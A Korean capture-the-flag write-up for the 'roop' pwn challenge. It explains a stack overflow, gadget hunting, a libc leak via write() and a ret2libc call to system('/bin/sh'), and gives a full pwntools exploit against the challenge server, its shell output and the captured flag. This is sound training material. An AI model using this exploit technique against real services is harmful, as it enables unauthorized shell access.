ROOP

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[0] = 0LL;
  buf[1] = 0LL;
  write(1, "Hell, World\n", 0xCuLL);
  read(0, buf, 0x100uLL);
  return 0;
}
```

이름에서도 알 수 있듯이 ROP 문제이다.

1. `write()`로 `libc base leak` 후 `main()`으로 이동
2. 다시 호출된 `read()`에 `system("/bin/sh")` 실행되도록 ROP

```
root@8ba409b0787b /pwn
❯ ROPgadget --binary roop | grep "pop rdi"
0x00000000004005f3 : pop rdi ; ret

root@78ae7efcdd08 /pwn
❯ ROPgadget --binary roop | grep "rsi"
0x00000000004005f1 : pop rsi ; pop r15 ; ret
```

먼저 `write()`를 호출하는 데 필요한 `rdi`, `rsi` 가젯을 찾는다. (첫 번째, 두 번째 인자)

`rdx` 가젯이 없어서 당황했는데, `read()` **호출로 인해** `rdx`**가 세팅되어 있어서 두 인자만 맞춘 뒤 실행**하면 된다.

```
>>> from pwn import *
>>> e = ELF('roop')
[*] '/home/dgevy/Stealien/11th/roop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
>>> hex(e.plt.write)
'0x400430'
>>> hex(e.got.write)
'0x601018'
```

`pwntools`를 이용해 `write()`의 plt, got를 알아낼 수 있다.

```
payload = b"A" * 0x10
payload += b"F" * 0x8
payload += poprdi
payload += p64(1)
payload += pop_rsi_r15
payload += write_got
payload += b"D" * 0x8
payload += write_plt
payload += main_addr

p.send(payload)
```

실제 주소인 got를 leak한 뒤, 다시 `read()`를 사용하기 위해 `main()`으로 리턴하도록 했다.

다음으로는 구한 `write()`의 got에 `write()` 오프셋을 빼서 libc base address를 leak한 뒤, `system("/bin/sh")`을 실행해야 한다.

```
>>> from pwn import *
>>> e = ELF('libc.so.6')
```

```
[*] '/home/dgevy/Stealien/11th/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
>>> hex(e.symbols.write)
'0x10e280'
>>> print(hex(e.symbols.system))
0x52290
>>> print(hex(next(e.search(b'/bin/sh'))))
0x1b45bd
```

`libc` 파일에서 각 오프셋을 구할 수 있다.

Exploit

```
from pwn import *

p = remote('realsung.kr', 9007)

write_plt = p64(0x400430)
write_got = p64(0x601018)

main_addr = p64(0x400537)

poprdi = p64(0x4005f3)
pop_rsi_r15 = p64(0x4005f1)

write_offset = 0x10e280
read_offset = 0x10e1e0
system_offset = 0x52290
binsh_offset = 0x1b45bd

p.recvuntil(b'\n')

payload = b"A" * 0x10
payload += b"F" * 0x8
payload += poprdi
payload += p64(1)
payload += pop_rsi_r15
payload += write_got
payload += b"D" * 0x8
payload += write_plt
payload += main_addr

p.send(payload)

leaked_write = p.recvuntil(b'\n')[:7]
leaked_write = int.from_bytes(leaked_write, byteorder='little')

log.debug(leaked_write)

libc_base = leaked_write - write_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

payload2 = b"A" * 0x10
payload2 += b"F" * 0x8
payload2 += poprdi
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

p.send(payload2)
p.interactive()
```

최종 페이로드는 위와 같다. libc 파일이 주어졌을 때는 굳이 오프셋 구할 필요 없이 `ELF()`를 사용하는 것이 좋을 것 같다.

> `p.recvrepeat()`은 입력을 얼마나 받을지 체크하는 함수라고 한다. `p.recvrepeat(0.2)`와 같이 사용하는 것을 알 수 있었다.

```
$ py payload.py
[+] Opening connection to realsung.kr on port 9007: Done
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag
flag{4d155262c2cb4556c3c36d16c015f4bfab27df236d0454f243abe693d0935be9}
```